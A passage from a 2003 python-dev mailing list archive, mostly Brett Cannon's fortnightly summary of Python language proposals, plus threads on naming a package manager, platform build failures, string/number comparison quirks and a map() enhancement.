don't think that's going to fly... just think of a > user manual: "Please use the pimp for your platform to > download piddle from the Internet. After successful > operation, click on idle to start off into working mode." > It probably won't in the end. But I still think it is funny. > Must be a cultural thing... Or just me still acting like a college student. -Brett From brett@python.org Mon Feb 17 23:07:00 2003 From: brett@python.org (Brett Cannon) Date: Mon, 17 Feb 2003 15:07:00 -0800 (PST) Subject: [Python-Dev] python-dev Summary for 2003-02-01 through 2003-02-15 Message-ID: OK, so I finally managed to finish the Summary. Needless to say it took a while with the amount of traffic going on. A special thanks to Samuele for a technical summary that he wrote that helped with the surprising brief summary of all the do/with/thunk/'kitchen sink' thread. As usual, the list gets about 24 hours to point out various flaws and such. But since I am visiting family it will probably be more than 24 hours before I send this out to the rest of the world, so no big rush. =) And, as usual, any missing extended characters that should be there are probably in the original; Pine doesn't like playing nicely with the rest of the world and their funky letters. =) ++++++++++++++++++++++++++++++++++++++++++++++++++++++ python-dev Summary from 2003-02-01 through 2003-02-15 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ .. _SourceForge: http://www.sf.net/ ====================== Summary Announcements ====================== I just realized how much regex syntax I use in the summaries. You might help you read the summaries if you know it. =) I renamed the 'Skipped Threads' section that I introduced in the last section to 'Quickies' since they are not really skipped but are just "quickie" summaries that I don't feel warrant a full-blown summary (or I was just feeling lazy =). ================================== `Acquire/release functionality`__ ================================== __ http://mail.python.org/pipermail/python-dev/2003-February/032752.html Splinter threads: - `Extended Function syntax `__ - `exec/with thunk-handling proposal `__ - `Extended Function syntax (PEP time) `__ - `With statement `__ - `Pre-PEP: with syntax `__ As part of the massive thread that caused some hoopla on the list about how to try to keep info manageable on the list, a suggested syntax for an acquire/release setup came up. It basically defines a way to have a method called before the beginning of the execution of a block of code and then a method to be called when the block is finished. It uses a suggested keyword 'with'. Read `PEP 310`_ for all the details (thanks to Paul Moore and Michael Hudson for writing the PEP; I would have gone insane summarizing this!). .. _PEP 310: http://www.python.org/peps/pep-0310.html ============================= `Extended Function syntax`__ ============================= __ http://mail.python.org/pipermail/python-dev/2003-February/032694.html Splinter threads: - `Property syntax `__ - `question??? `__ Thanks goes to Samuele Pedroni for writing up a technical summary of all of this and sending me a copy. This whole thread started up over a suggested extended synatax for functions:: def fxn(args) [fun1, fun2, ..., funX]: ...code... This was to be equivalent to:: fxn = funX(...(fun2(fun1(fxn)))...) This came up as a way to make it easier for using things such as property(), classmethod(), and staticmethod() since you could define things as:: def fxn(args) [staticmethod]: ...code... A variant on all of this that was proposed was:: def fxn(args) as fun1, fun2, ..., funX: ...code... or:: def fxn(args) is fun1, fun2, ..., funX: ...code... The two proposed syntaxes above were suggested to be made very general so that you could do something like:: def fxn(args) as function: ...code... And since this was all about how make using property() easier, property-specific suggestions included: class klass(object): property prup: ...code... or:: class klass(object): def prup as property: ...code... The problem with the former is that it requires turning "property" into a keyword. None of these are PEPs yet nor have had BDFL pronouncement. =========== `thunks`__ =========== __ http://mail.python.org/pipermail/python-dev/2003-February/032828.html Splinter threads: - `Extended Function syntax `__ - `exec/with thunk-handling proposal `__ Thanks to Samuele Pedroni for providing me a technical summary that I was able to use to help write this summary. The concept of adding thunks to Python came up through the extended function syntax thread (in case you don't know what a thunk is, you can think of it as a chunk of code that is compiled and ready to use but is not executed until a later time). Some suggested syntaxes were:: lvalue = thunk(args): ...code... or:: do lvalue = thunk(args): ...code... The lvalues would be optional. As with the extended function syntax, no PEPs have been done nor any BDFL pronouncements. =========================== `Capabilities in Python`__ =========================== __ http://mail.python.org/pipermail/python-dev/2003-February/032690.html Splinter threads: - `Property Syntax `__ Continuation of `Capabilities in Python`_ from the `last summary`_. After comments were made that the way capabilities were described earlier in the thread were strange, Ben Laurie got to the point and said that if he gets "secure bound methods" he will have what he wants. Going with the ticket analogy that was used earlier, Ben said that he didn't like having an intermediate ticket checker like the proxies used by Zope; the "ticket is the method". Jeremy commented on some of Ben and Ka-Ping Yee's comments. It seems that security code is sprinkled throughout the interpreter; centralizing it would help secure Python. The thread stopped on python-dev (the emails suggested the discussion was taken off-list) with no specific plans on changes. .. _Capabilities in Python: http://www.python.org/dev/summary/2003-01-16_2003-01-31.html#capabilities-in-python .. _last summary: http://www.python.org/dev/summary/2003-01-16_2003-01-31.html ========================== `native code compiler?`__ ========================== __ http://mail.python.org/pipermail/python-dev/2003-February/032780.html Ignoring all the emails that were in direct relation in dealing with the whole mini-flame war that this thread started on, it did lead to a bet between Guido and Dan Sugalski over whether Parrot_ or CPython would run a standard Python benchmark suite the fastest. The stakes are $10, a round of beer for the winning development team, and a pie in the face of the loser. Since python-dev's honor is partially at stake, various ideas came up about how to speed up the core. One idea was to inline built-in functions by giving them their own bytecode. So, for instance, len() might be inlined in bytecode as BUILTIN_LEN instead of having to bother with a function call to the actual len() code in the core. Another suggestion was to continue work on namespace access. These are covered in `PEP 266`_, `PEP 267`_, and `PEP 280`_. Guido also suggested "not to allow binding *new* globals *if* they shadow certain builtins" so as to save on the name lookup. Skip Montanaro mentioned his `peephole optimizer`_. There was also a mention of rattlesnake_; a register-based VM that Skip started and Neil Schemenauer picked up. Taking a fresh look at PyEval_EvalCodeEx_ was also mentioned since a great expense is setting up a function call. .. _Parrot: http://www.parrotcode.org .. _PEP 266: http://www.python.org/peps/pep-0266.html .. _PEP 267: http://www.python.org/peps/pep-0267.html .. _PEP 280: http://www.python.org/peps/pep-0280.html .. _peephole optimizer: http://www.musi-cal.com/~skip/python/spam7/optimizer.html .. _rattlesnake: http://www.musi-cal.com/~skip/python/rattlesnake20010813.tar.gz .. _PyEval_EvalCodeEx: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/ceval.c ================= `trying times`__ ================= __ http://mail.python.org/pipermail/python-dev/2003-February/032938.html Splinter threads: - `Why did Fredrik leave the party? `__ - `who uses new language features? `__ - `trying times thunks `__ - `Shame on us all! `__ - `How to troll python-dev `__ - `How to lose potential users/developers `__ During the whole with/do/thunk thread and another thread from a disgruntled person who didn't like how the list responded to his email, Samuele Pedroni let the list know that Fredrik Lundh (a.k.a. effbot) had unsubscribed from python-dev, disillusioned with how things had ended up. There was a suggestion to spin a list off of python-dev that handled "blue-sky" discussions. This was basically killed because most people who would subscribe to the new list would be subscribed to python-dev and thus would basically a moot point. There are two things to be learned from this thread. One is to make sure you change the subject line of an email when you are replying to an email but changing the focus. The other is to make sure not to say anything in an email that comes off as accusatory. One of the reasons this whole email thread turned negative was that a statement made in the initial email was received as condescending and questioning the abilities of python-dev when trying to guess as to why something had not been implemented. It is best to ask why something has not been done then ask and then immediately wager an answer to your own question. ============================= `Fixed-point numeric type`__ ============================= __ http://mail.python.org/pipermail/python-dev/2003-February/032965.html Splinter threads: - `Why did Fredrik leave the party? `__ - `FixedPoint and % specifiers. `__ Michael McLay brought up the point that although FixedPoint had received BDFL pronouncement for inclusion into the stdlib, it still had no happen. It was then pointed out that no one had put the effort into doing the work necessary to make sure that the package was ready to be added. A discussion then started amongst some people about some details of the package. There was a discussion of naming of certain methods and such. One conclusion that was reached before the discussion was taken off-list was that the package's interface should be minimized and kept as simple as possible while still being useful. .. _FixedPoint: http://fixedpoint.sf.net/ ======================================== `Passing floats to "i" parser marker`__ ======================================== __ http://mail.python.org/pipermail/python-dev/2003-February/032969.html MA Lemburg brought up the question of what the ramifications will be with `PyArg_Parse()`_ issuing a DeprecationWarning instead of TypeError when a float is passed as an argument where "i" is used as the argument type. What causes this to not be cut and dry is that floats have an __int__ method that actually loses information so you can't just use int() to do conversions and still have the same value. Guido said that, in hindsight, there should have been a function that converts an int-like objects to real ints and another to convert floats to ints; this separates conversions that might lose information. He also said that eventually "i" will raise a TypeError when less code will be broken by this behavior. The history of how the "i" argument marker was given. Apparently, way back when, someone said that "i" should not only accept true ints as it did in its first incarnation. So having it use __int__ was added. Unfortunately no one realized that float implemented __int__ and obviously floats for things such as indexing are not reasonable. Raising a warning is a step towards eliminating this wart. The acronym YAWTM (You Are Worrying Too Much) and its snarky younger brother YADWTM (You are DEFINITELY Worrying Too Much) were also brought into this world in this thread. .. _PyArg_Parse(): http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/getargs.c =================================================================================== `Python 2.3a1's mandatory use of cyclic GC causes existing applications to fail`__ =================================================================================== __ http://mail.python.org/pipermail/python-dev/2003-February/033020.html Splinter threads: - `__slots__ `__ Robert Ledwith wished that Python 2.3 would support the --without-cycle-gc compile option that is scheduled to be eliminated; objects would have a smaller footprint and was faster. The reason the option was removed in the first place was that the code for the trashcan (handles the deallocation of objects) "is nearly obvious when we can rely on gc being there". With GC turned off extension modules cannot use the trashcan without editing the source of Python itself. Christian Tismer (who wrote the trashcan code) said that it could actually choose whether or not to take in an object based on its type. So what could happen is there could be a non-GC type that would cause the object to not even interact the trashcan and thus not complicate the code. The leading idea was to have a nogcobject that acted as the "true" root object which 'object' inheriting from nogcobject while causing GC to be used. It was also pointed out that __slots__ saves a lot of space on objects when used. It was then suggested that you be able to specify the type of each thing in __slots__ since that would save even more space when the type is a simple one. Guido said that it seemed a new name would be needed for this attribute. He also said that the idea allowing you to specify the order of the objects was good. ========================================== `Pre-PEP: Mutable keys in dictionaries`__ ========================================== __ http://mail.python.org/pipermail/python-dev/2003-February/033043.html Just van Rossum posted a rough PEP proposing a new protocol to allow mutable objects as keys in dictionaries. His suggestion was that if an object was mutable the dictionary's __setitem__() would call the key's __immutable_copy__() and use that as the key. The dict's __contains__() would use __temporary_immutable__() from the object (this is needed so as to return something that defines __eq__() and __hash__() in order to be able to do the comparison against other keys). Just claimed that putting this in 'would add no overhead for the "normal" case (when keys _are_ directly hashable)'. The question of whether this would be thread-safe was raised. Just said it would be for Python code thanks "to the wonders of the Global Interpreter Lock". Guido responded that he didn't think implementing this would have no performance hit. If anything, he thought that it "may reduce code locality and hence cause the code to miss the cache more often than before". He suggested just coming up with a subclass of dict that implemented this. That was not an option, though, because the entire reason for this was to make dicts work more easily with PyObjC_ and thus would need to be built in. So Guido ended up asking Just to implement it and benchmark it to see what kind of hit was taken. .. _PyObjC: http://pyobjc.sf.net/ ====================== `Trinary Operators`__ ====================== __ http://mail.python.org/pipermail/python-dev/2003-February/033061.html Splinter threads: - `Quantifiers `__ - `vox populii illiterati `__ - `Vote-Pop `__ - `For review: PEP 308 - If-then-else expression `__ - `PEP 308 `__ - `Update to PEP308: if-then-else expression `__ - `some data on the debate `__ A thread on `comp.lang.python`_ sprung up about adding a ternary operator to Python (yes, the title says "Trinary Operators", but that is apparently not technically correct). In case you are not a C programmer, the ternary operator can be thought of an if/else statement that acts like an expression (it's the ``?:`` syntax from C). Another way of thinking of it is as an if/else statement that is inlined. Guido was sick of this debate coming up, so he wrote `PEP 308`_ on the subject and has left it up to comp.lang.python to argue this one out (he actually explicitly said not to discuss it on python-dev) and decide on the final fate of this idea. If you have an opinion voice it on comp.lang.python since this will also be used as a test to see if more things should be put on c.l.py for discussion instead of python-dev. As of this writing, Samuele Pedroni updated the list on posting stats for those of us who don't follow c.l.py. Two syntactic choices are currently in the running (this is ignoring objections to the whole idea). One is ``if : else: `` and the other is `` ?? || ``. .. _PEP 308: http://www.python.org/peps/pep-0308.html .. _comp.lang.python: http://groups.google.com/groups?q=comp.lang.python ============================================================ `For review: PEP 307 - Extensions to the pickle protocol`__ ============================================================ __ http://mail.python.org/pipermail/python-dev/2003-February/033182.html Splinter threads: - `pickle me, Elmo? `__ `PEP 307`_ has been unleashed upon the world. Guido and Tim Peters came up with a new pickling protocol (aptly named protocol 2; I am sure it took a lot of Guido's magical pickles to come up with that name). The reason for doing this was to have the pickle for new-style classes not be so immense (this was brought to the forefront by datetime_ and the hell that Tim and Guido went through to get it to pickle reasonably). Everything is backwards compatible since it is a new protocol, so there is no need to panic. Still interesting in terms of what they are doing, though, so you might want to read it. Paul DuBois asked if it would be possible at some point to be able to pickle a class or function definition. Paul was informed that pickling is meant for data only. Jeremy Hylton, though, has managed to pull something like what Paul wants off in Zope 3 by subclassing Pickler and UnPickler from the pickle_ module (so doesn't work with cPickle_). Arne Koewing asked if pickling weak references could be done. Short answer, no. Long answer, not unless you want great pain trying to do implement it. .. _PEP 307: .. _datetime: http://www.python.org/dev/doc/devel/lib/module-datetime.html .. _pickle: http://www.python.org/dev/doc/devel/lib/module-pickle.html .. _cPickle: http://www.python.org/dev/doc/devel/lib/module-cPickle.html ====================== `Unicode filenames`__ ====================== __ http://mail.python.org/pipermail/python-dev/2003-February/033215.html Jack van Rossum was "tempted to set Py_FileSystemDefaultEncoding_ to "utf8" for OSX". He tried it and it works well, but he noticed that os.listdir() returns strings and not Unicode objects. So obviously the question came up as to whether to change this so that it returned Unicode when Py_FileSystemDefaultEncoding_ is set to something that is non-NULL. The issue is round-trip passing of strings. If you get something from os.listdir() you would like to be able to pass to file() with no issues. The question is how to handle this need without breaking backwards-compatibility. .. _Py_FileSystemDefaultEncoding: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Python/bltinmodule.c ============================================ `GadflyDA in core? Or as add-on-product?`__ ============================================ __ http://mail.python.org/pipermail/python-dev/2003-February/033312.html Splinter threads: - `Gadfly in Python core `__ Continuation of `GadflyDA in core?...`_ from the `last summary`_. As was summarized before, there was talk of adding Gadfly_ to the stdlib. Two issues with adding it was its license and having kjbuckets_ as a dependency. The first one was solved when Aaron Watters said he would be happy to transfer the license to the PSF_. The second is currently being worked on. Another issue came up, though. Gadfly is approximately 11,000 lines of Python code (Richard Jones thinks 1,200 lines could be removed by taking out the parser builder). That is an immense chunk of code with no one stepping forward to be the active maintainer of it. Without someone willing to make sure the code does not suffer from bit rot there is a chance Gadfly won't be allowed into the stdlib. If you happen to think you can take on maintenance responsibilities, please step forward and let it be known. .. _GadflyDA in core?...: http://mail.python.org/pipermail/python-dev/2003-January/032295.html .. _Gadfly: http://gadfly.sf.net/ .. _PSF: http://www.python.org/psf/ .. _kjbuckets: http://starship.python.net/crew/aaron_watters/kjbuckets/ ============================================================================= `PEP Draft: Simplified Global Interpreter Lock acquisition for extensions`__ ============================================================================= __ http://mail.python.org/pipermail/python-dev/2003-February/032958.html Splinter threads: - `Change definition of Py_END_ALLOW_THREADS? `__ - `Updated AutoThreadState pre-PEP `__ In an attempt to make it easier for C code to access the GIL in complicated, threaded situations where knowledge about the state of the Python interpreter is limited, Mark Hammond has come up with a new API that is covered in `PEP 311`_. In essence, Mark has come up with a way to allow external C code to get the GIL to do work with Python code in a threaded environment without having to know too much about the status of the interpreter in regards to threading. .. _PEP 311: http://www.python.org/peps/pep-0311.html ================================= `CALL_ATTR, A Method Proposal`__ ================================= __ http://mail.python.org/pipermail/python-dev/2003-February/033410.html Glyph Lefkowitz suggested creating a new bytecode instruction for doing method calls since the current setup takes 3 separate bytecode calls and is about 20% slower than a function call according to Glyph. Guido said he was all for a special bytecode as long as the semantic meaning, in the end, is the same. Skip Montanaro suggested caching the results of getattr(). Guido said it could only work if the getattr() for each object did the caching. Glyph clarified, though, that he was not going after caching but just cutting the bytecode instruction count for a method count down 'to mean "call this method" rather than "get this attribute, call the result"'. ========= Quickies ========= `Python roadmap `__ Roman Suzi asked about the direction of Python. Led to discussion of shadowing built-ins and Neal Norwitz adding a check to PyChecker_ to warn against this. `New version of PEP 304 `__ Single email about `PEP 304`_ and how it might deal with Windows. `disable writing .py[co] `__ Clarifies the misunderstanding of how Python handles writing .py[co] files on read-only filesystems and how PEP 304 will allow you to specify not writing the files. `Anyone willing to look over a zlib fix? `__ Email about a fix for zlib_ when dealing with huge compressed files. `database APIs `__ A question about possible `DB 2.0 API`_ helper functions was brought up and moved to the DB-SIG_. `PEP 42: sizeof(obj) builtin `__ Continuation of a thread from the `last summary`_ that basically said 1) writing sizeof() for Python would be *extremely* difficult, and 2) Java has no API for finding out how much space something takes up. I was going to put in a snide comment here about Java, but I restrained myself; at least Jython makes Java okay. =) `Weekly Python Bug/Patch Summary `__ Lots of bugs, lots of patches, and MvL is on vacation. =) `bsddb3 upgrade woes - more gentle transition? `__ Skip Montanaro pointed out some people have had issues using bsddb3_ because it requires using the newest Sleepycat DB format. Skip scratched his own itch by writing `Tools/scripts/{db2pickle,pickle2db}.py`_. `Atomic operations `__ An idea of having a keyword to shut down threads so as to guarantee code being executed synchronously. Led to a link of an article suggesting having a keyword that delayed the raising of exceptions from signals so as to make sure code finished executing without interruption. `Idea for avoiding exception masking `__ Continuation of a thread summarized in the `last summary`_ about how to handle exceptions that would get masked by other exceptions. `BUILDEXE erroneously empty on 2.2.2 for Mac OS X? `__ Skip Montanaro had problems building on OS X out of the tree on the 2.2 maintenance branch. Appropriate patches were backported and thus the problem was fixed. `Unicode-like objects `__ Just van Rossum asked if there was a way to make an object act like a Unicode object. This turned into the thread `Bridging strings from Python to other languages `__ and how to go possibly make strings from OS X's Cocoa API play nicely with Python strings. `I have something I'd like to use the farm for. `__ Michael Hudson cross-posted to python-dev about how he wanted to use the `Snake Farm`_ to test a patch for `signal.sigprocmask()`_ to find out what OSs it worked on. `Negated hex/oct constants (SF #660455) `__ Guido discovered that negating a negative number represented as a hex constant (such as -0xffffffff) is different from a negative hex number with the negation applied to parantheses (such as -(0xffffffff)). It was decided to leave it since it will be correct in 2.4 and is already this way in 2.2. `Deprecating modules after 2.3a1? `__ Jack Jansen wanted to know if it was okay to deprecate module even though an alpha for Python 2.3 had gone out. Guido said it was fine. Jack also mentioned that Python 2.4 will have no Mac OS9 support. `Why is the GIL not in PyInterpreterState? `__ Tobias Oberstein asked hwo to go about making sure multiple interpreters in a single process didn't step all over each other because of threading issues. Was told that Python doesn't have support for something like that but if he could come up with a patch that was good it would probably be accepted. `contributing documentation (fwd) `__ A paper on the MRO and how it works was posted at http://www.python.org/2.3/mro.html ; it's a good paper and easy to read. `Unicode source code `__ Thanks to Just van Rossum, compile(), eval(), and exec accept Unicode objects. `Grzegorz Adam Hankiewicz found a parsing bug in HTMLParser. `__ Read the name of the thread to figure this extremely complex discussion was about. =) `UNREF invalid object `__ Today, children, we learned that one should call "PyObject_Del only on the "self" argument to the type's tp_dealloc function", "which is called *by* the expansion of Py_DECREF(self)"anyway, so everything should go through Py_DECREF()_. Now everyone thank Mr. Peters for teaching us this valuable lesson! <"Thank you, Mr. Peters!"> `bitwise operators and lambdas `__ Someone suggested moving bitwise operators to a module and a shorthand for lambda. The chances of the moving of the bitwise operators happening are about as good as George W. Bush winning the Nobel Peace Prize for his work in Iraq. The lambda shorthand, though, became `PEP 312`_. `[Python-checkins] python/dist/src/Python bltinmodule.c,2.276,2.277 `__ Tim Peters wanted to get rid of all the code for the MPW compiler used for Mac OS9. Jack Jansen said to wait until after Python 2.3. `Adding Japanese Codecs to the distro `__ Hye-Shik Chang opened http://python.org/sf/684142 to incorporate Korean Codecs into the stdlib. `dict "setdefault". Feaure request or bugfix? `__: `lazy evaluation redux `__ Someone wanted the second argument to {}.setdefault() to be lazily evaluated which would require special-casing since it would go against how Python works. The idea of lazy functions as a built-in syntax and special syntax for no-argument lambdas was brought up. `[meta] EIBTI: can we acronimize? `__ Lalo Martin wants to start shortening "Explicit is better than implicit" as the acronym EIBTI. I think that it doesn't exist as an acronym until it ends up on acronymfinder.com. =) `Codecs Data `__ Gustavo Niemeyer asked about making the codecs data currently in codecsmodule.c available to all interpreters when multiple ones are launched (currently the codecs are only available to the first interpreter started). The discussion led to the conclusion that PyInterpreterState_ should be augmented to store the codecs. `str.join, string.join `__ Christian Tismer asked if anyone else thought it would be a good idea to turn the join() method on strings into a class method so that the common idiom ``','.join(lines)`` would turn into ``str.join(lines, ',')``. Some people agreed before Guido said that the thread should be moved off of python-dev and over to comp.lang.python_. `when is binary mode required for pickle? `__ Skip Montanaro wanted to know when he needed to open or save a pickle file in binary mode (the 'b' option for file()). The answer is that protocol 0 allows you to open a pickle in text mode, but protocols 1 and 2 require it. So the safe answer is to always use binary mode for pickles. `SF CVS down? `__ I wondered if the SourceForge_ CVS was down or if my connection problems were just me. `Overly creative config in socketmodule.c `__ Tim Peters discovered a bad configuration in socketmodule.c_ using ``#if 1``. Neal Norwitz fixed even though he was not the guilty party in writing the bad code. `Chancing SF tracker email preferences `__ Guido wanted to stop having all follow-up comments posted to SourceForge_ mailed to python-bugs-list@ or patches@ . He asked if anyone had any objection to this. So far several people have spoken up and said they liked receiving the emails. `import curdir, pardir, sep, pathsep, defpath, from relevant *path modules `__ Skip Montanaro that all of the mentioned functions in the subject of this thread were contained in os.py_ when in fact they should be in the various os.path modules (such as posixpath_). Skip moved them and has os_ still import them so there is not visible change in the API. `PEP-242 Numeric kinds -- disposition `__ Paul DuBois asked that `PEP 242`_ be rejected since it is included with Numeric_ currently and be removed in the next release. `Re: [Python-checkins] python/nondist/peps pep-0311.txt,NONE,1.1 `__ Just van Rossum saying that he does not like the use of "auto" as a prefix as stated as a possibility for `PEP 311`_. `PEP 308: "then" "else" for deprecating "and" "or" side effects `__ Christian Tismer suggested replacing "and" and "or" with "then" and "else" for doing binary short circuit testing (such as ``arg = arg else "Default"`` instead of ``arg = arg or "Default"``). Also suggested ``arg when cond1 else cond2`` as a possible ternary operator. Still being tossed around on python-dev. `PEP308 alternative syntax: bool method `__ Someone suggested adding a method to booleans to act like a ternary operator. Before the discussion was moved to comp.lang.python as all ternary discussions should be the point was made that it could not support short circuiting. `non-binary operators `__ Thread that popped into existence on python-dev part-way through its discussion on comp.lang.python (which is why it died on python-dev quickly) about how ternary operators are different compared to two chained binary operators (like ``a < b < c``). `Import lock knowledge required! `__ Mark Hammond asked for help with dealing with a deadlock with import locking. `Changes to logging `__ Vinay Sajip said he had patches for the logging_ package ready to go and asked for comments, which he received. `execve vulnerability `__ : `Python execvpe symlink race condition `__ Someone reported a vulnerability that was fixed since Python 2.2.2. .. _PyChecker: http://pychecker.sf.net/ .. _PEP 304: http://www.python.org/peps/pep-0304.html .. _zlib: http://www.python.org/dev/doc/devel/lib/module-zlib.html .. _DB 2.0 API: http://www.python.org/topics/database/DatabaseAPI-2.0.html .. _DB-SIG: http://www.python.org/sigs/db-sig/ .. _bsddb3: http://pybsddb.sourceforge.net/bsddb3.html .. _Tools/scripts/{db2pickle,pickle2db}.py: .. _Snake Farm: http://www.lysator.liu.se/~sfarmer/ .. _signal.sigprocmask(): http://www.python.org/dev/doc/devel/lib/module-signal.html#l2h-2249 .. _PyObject_Del(): http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Objects/object.c .. _Py_DECREF(): http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Include/object.h .. _PyInterpreterState: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/pystate.h .. _socketmodule.c: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Modules/socketmodule.c .. _os.py: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/os.py .. _posixpath: http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/python/python/dist/src/Lib/posixpath.py .. _os: http://www.python.org/dev/doc/devel/lib/module-os.html .. _PEP 242: http://www.python.org/peps/pep-0242.html .. _Numeric: http://www.pfdubois.com/numpy/ .. _PEP 312: http://www.python.org/peps/pep-0312.html .. _logging: http://www.python.org/dev/doc/devel/lib/module-logging.html From mhammond@skippinet.com.au Mon Feb 17 23:33:20 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Tue, 18 Feb 2003 10:33:20 +1100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: Message-ID: <000301c2d6dc$f6211e70$530f8490@eden> > > Must be a cultural thing... > > Or just me still acting like a college student. Nah - just a healthy community. As they say, growing old is mandatory, but growing up is optional Mark. From tjreedy@udel.edu Tue Feb 18 03:54:13 2003 From: tjreedy@udel.edu (Terry Reedy) Date: Mon, 17 Feb 2003 22:54:13 -0500 Subject: [Python-Dev] Re: Package Install Manager for Python References: <3E50A068.5050709@lemburg.com> Message-ID: "Jack Jansen" wrote in message news:C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl... > > On Monday, Feb 17, 2003, at 09:42 Europe/Amsterdam, M.-A. Lemburg wrote: > > > Jack, please change the name of that module before it's too > > late. Something like pkgman would much better fit the purpose > > (or packman if you feel that it should be a funny name ;-). Packman is cute and clever. > Hmm, you're the second person to state that the name pimp isn't a good > idea. > I tend to like names with a bit of a joke in them, and there's more > Python-related names that do this (idle, piddle). > > Does anyone else have an opinion on the matter? -10 Ok, I'll be uncool. To me, a pimp is a type of rapist. Hardly something to joke about. In much of America, asking a female employee to use 'pimp' to procure something might well be an invitation to file a sex-harassment lawsuit. To both me and my wife (who would be insulted if so asked), the name says 'this is a college frat/nerd prank product, not for serious business/professional use". Terry From neal@metaslash.com Tue Feb 18 04:57:57 2003 From: neal@metaslash.com (Neal Norwitz) Date: Mon, 17 Feb 2003 23:57:57 -0500 Subject: [Python-Dev] various unix platform build/test issues Message-ID: <20030218045757.GU31973@epoch.metaslash.com> It ain't real pretty, but it could be worse: http://metaslash.com/py/2.3-problems.html I'm trying to commit changes to the logging package, but SF has a stale CVS lock for anoncvs_python. I filed a support request. Hopefully they will have it fixed within a month or two, at least by the time 2.3 is ready to be released. I don't know if the updates are supposed to fix the test hangs/failures for test_logging. Here's the problem highlights (there are more, follow the link): * There are 3 64-bit issues: http://python.org/sf/688424 * test_pty hangs on 3 platforms, possible fix: http://python.org/sf/671384 * test_resource can fail when filesize is limited http://python.org/sf/678264 * iconv module calls PyFatalError() if the C module initialization fails, is there a better way to handle this? I had to disable building iconv on AIX. * AIX sorts numbers and strings in a different order than Linux: >>> 'ick' >= 0 # Linux True >>> 'ick' >= 0 # AIX False This causes failures for test_descrtut and test_random. I don't expect to get these taken care of for 2.3a2 assuming it's released tomorrow. It would be nice to have most of the platforms clean for the beta. Neal From tim_one@email.msn.com Tue Feb 18 05:39:57 2003 From: tim_one@email.msn.com (Tim Peters) Date: Tue, 18 Feb 2003 00:39:57 -0500 Subject: [Python-Dev] various unix platform build/test issues In-Reply-To: <20030218045757.GU31973@epoch.metaslash.com> Message-ID: [Neal Norwitz] > * AIX sorts numbers and strings in a different order than Linux: > > >>> 'ick' >= 0 # Linux > True > > >>> 'ick' >= 0 # AIX > False > > This causes failures for test_descrtut and test_random. It shouldn't. Regardless of platform, this should end up at the tail end of default_3way_compare(), resolved by the c = strcmp(vname, wname); line with vname "str" and wname "" (an empty string). But-- ick! --it doesn't, and not on any platform anymore. vname and wname are both empty strings now, so it goes on to compare the objects by memory address and the outcome is pure accident ... this is because rev 2.197 of stringobject.c gave string objects a non-NULL tp_as_number slot for the first time. The intent of the emtpy-string gimmick was to make all numeric objects "less than" all non-numeric objects (excepting None, which is less than every non-None value), in particular so that sorting a list would bring all the number-like thingies next to each other. Strings weren't intended to take part in this number gimmick too. Then again, comparison is so snaky it's hard to predict what it will do. In any case, this is incompatible with previous Python releases. Neil(S), was giving strings a tp_as_number slot necessary? Or just the least painful way to fix whatever bug it was fixing? I suppose the tail end of default_3way_compare could grow more special cases to exempt strings from being treated like numbers for the purpose of comparison. From pedronis@bluewin.ch Tue Feb 18 06:44:12 2003 From: pedronis@bluewin.ch (Samuele Pedroni) Date: Tue, 18 Feb 2003 07:44:12 +0100 Subject: [Python-Dev] 308: the debate is petering out Message-ID: <004001c2d719$25deae20$6d94fea9@newmexico> 1926 ~on-topic PEP 308 posts by 185 posters posts by day: 07 Feb 73 08 Feb 374 09 Feb 244 10 Feb 382 11 Feb 298 12 Feb 229 13 Feb 124 14 Feb 82 15 Feb 62 16 Feb 34 17 Feb 22 posters with >2 posts: Erik Max Francis 254 Andrew Koenig 156 Andrew Dalke 99 => ~1/4 posts (509) by 3 poster(s) Aahz 84 holger krekel 72 Paul Rubin 56 Bengt Richter 53 James J. Besemer 51 Christian Tismer 43 Samuele Pedroni 43 Terry Reedy 43 Laura Creighton 38 => ~1/2 posts (992) by 12 poster(s) Dave Brueck 36 Michele Simionato 33 Tim Peters 31 Paul Moore 30 Roy Smith 30 Carlos Ribeiro 28 David Eppstein 28 Paul Paterson 23 Alex Martelli 21 Michael Hudson 21 ... From Jack.Jansen@cwi.nl Tue Feb 18 11:06:45 2003 From: Jack.Jansen@cwi.nl (Jack Jansen) Date: Tue, 18 Feb 2003 12:06:45 +0100 Subject: [Python-Dev] Package Install Manager for Python In-Reply-To: <00c201c2d675$042386b0$530f8490@eden> Message-ID: <1146C0BD-4331-11D7-B823-0030655234CE@cwi.nl> Wonderful, split votes:-) I'm going to leave the name at pimp for the time being (Python 2.3, Mac-only), and after 2.3 I'll probably write a PEP on the subject and come up with another name. Note that "pimp" is the name of the underlying module only, the user interface which people would normally use is PackageManager. Pimp can be invoked as a commandline tool too, but this is only for die-hard unix hackers anyway, and I'll just chance it they can see the humor. And, yes, I guess it's a cultural thing. Here in Amsterdam a pimp is a pretty respectable profession. Definitely higher standing than a cab driver, somewhat on par with a coffeeshop owner:-) -- Jack Jansen, , http://www.cwi.nl/~jack If I can't dance I don't want to be part of your revolution -- Emma Goldman From Ludovic.Aubry@logilab.fr Tue Feb 18 11:18:44 2003 From: Ludovic.Aubry@logilab.fr (Ludovic Aubry) Date: Tue, 18 Feb 2003 12:18:44 +0100 Subject: [Python-Dev] [rfc] map enhancement Message-ID: <20030218111844.GA10112@logilab.fr> Hi, First a brief introduction, since this is my first post to python-dev: I'm a software engineer, mostly using C/C++ and Python. I also occasionaly teach a tutorial class on Python. A couple weeks ago I told Raymond Hettinger how I liked itertools and that I always missed a feature from map that could be easily implemeted in imap. He told me that he was trying to stay as close as possible to the behavior of the original map function. This why I am proposing this backward compatible enhancement to map: Using map you always end up using lambda functions to pass constant arguments to the mapping function like this: map( lambda x,y=K: f(x,y), L ) What I propose in this 